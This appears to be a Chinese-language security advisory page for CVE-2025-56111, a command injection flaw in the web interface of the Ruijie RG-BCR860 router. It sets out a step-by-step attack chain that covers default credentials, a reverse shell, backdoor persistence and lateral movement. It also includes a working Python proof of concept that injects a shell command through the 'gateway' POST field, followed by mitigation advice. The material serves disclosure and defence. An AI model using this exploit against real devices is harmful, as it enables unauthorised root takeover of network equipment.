IPBUF安全漏洞报告
English
CVE-2025-56111 CVSS 8.8 高危

CVE-2025-56111 锐捷RG-BCR860命令注入漏洞

披露日期: 2025-12-11

漏洞信息

漏洞编号
CVE-2025-56111
漏洞类型
OS命令注入
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Ruijie RG-BCR RG-BCR860

相关标签

OS命令注入远程代码执行锐捷RG-BCR860CVE-2025-56111高危漏洞网络设备LuaWeb应用漏洞

漏洞概述

CVE-2025-56111是锐捷网络RG-BCR RG-BCR860设备中存在的一个高危操作系统命令注入漏洞。该漏洞的CVSS评分为8.8,属于高危级别。漏洞存在于设备的Web管理界面中,具体位于/usr/lib/lua/luci/controller/admin/netport.lua文件中的network_set_wan_conf功能点。攻击者可以通过向该功能点发送精心构造的POST请求,在未经充分安全验证的情况下注入任意操作系统命令。由于该漏洞的认证要求为低权限(PR:L),意味着具有较低权限的攻击者也能成功利用此漏洞执行任意命令。攻击成功后,攻击者可以完全控制受影响设备,执行任何系统操作,包括但不限于读取敏感配置信息、修改系统设置、安装后门程序或进行横向渗透攻击。此漏洞对网络基础设施安全构成严重威胁,建议受影响用户尽快采取修复措施。

技术细节

该漏洞为典型的OS命令注入(OS Command Injection)问题,存在于Ruijie RG-BCR RG-BCR860设备的Lua Web应用层代码中。具体漏洞点位于network_set_wan_conf函数,该函数负责处理WAN网络配置请求。在处理用户输入时,程序未对传入参数进行有效的命令隔离和输入过滤,直接将用户可控的参数拼接到系统命令中执行。攻击者可以在POST请求的特定参数中注入分号、管道符等命令分隔符,后跟恶意系统命令。由于Web服务通常以高权限运行,注入的命令将以root权限执行。漏洞利用无需复杂的认证绕过,攻击者只需获取设备的低权限账户或利用设备默认凭据即可发起攻击。攻击成功后可实现远程代码执行(RCE),完全接管设备控制权。

攻击链分析

STEP 1
步骤1
收集目标信息:识别Ruijie RG-BCR RG-BCR860设备的IP地址和管理界面入口
STEP 2
步骤2
获取认证:利用设备默认凭据或通过其他方式获取低权限用户会话
STEP 3
步骤3
构造恶意请求:构建包含命令注入payload的POST请求,目标是network_set_wan_conf功能端点
STEP 4
步骤4
触发漏洞:在POST请求参数(如gateway字段)中注入系统命令,如; whoami或反弹shell命令
STEP 5
步骤5
执行命令:服务器端未过滤直接执行注入的命令,以root权限运行
STEP 6
步骤6
维持访问:可写入后门或SSH密钥实现持久化控制
STEP 7
步骤7
横向移动:利用被控设备作为跳板进一步渗透内网

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-56111 PoC - Ruijie RG-BCR RG-BCR860 OS Command Injection Note: This PoC is for educational and authorized security testing purposes only. """ import requests import sys target = "http://target-ip/" # Replace with target device IP def exploit(target_ip): """ Exploit OS Command Injection in network_set_wan_conf File: /usr/lib/lua/luci/controller/admin/netport.lua """ url = f"http://{target_ip}/cgi-bin/luci/admin/netport/network_set_wan_conf" # Payload: Inject command to create a test file # Attacker can replace 'touch /tmp/pwned' with any malicious command payload = "; touch /tmp/pwned #" data = { "wan_type": "dhcp", "mtu": "1500", "gateway": payload, # Command injection point "dns": "8.8.8.8" } headers = { "Content-Type": "application/x-www-form-urlencoded", "Cookie": "sysauth=valid_session_token" # Requires valid low-privilege session } try: print(f"[*] Sending exploit payload to {url}") response = requests.post(url, data=data, headers=headers, timeout=10) if response.status_code == 200: print("[+] Exploit sent successfully!") print("[+] Check if /tmp/pwned was created on target device") else: print(f"[-] Unexpected response: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") if __name__ == "__main__": if len(sys.argv) != 2: print(f"Usage: {sys.argv[0]} <target_ip>") sys.exit(1) exploit(sys.argv[1])

影响范围

Ruijie RG-BCR RG-BCR860 (所有已知版本)

防御指南

临时缓解措施
在官方补丁发布前,建议采取以下临时缓解措施:1)将RG-BCR860设备的管理界面从公网移除,仅允许通过内网VPN或受控IP段访问;2)使用ACL或防火墙规则严格限制管理接口的访问来源;3)监控设备日志关注异常的POST请求;4)考虑在网络层部署入侵检测系统(IDS)识别命令注入攻击特征;5)如果业务允许,暂时关闭WAN配置功能的远程访问能力。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表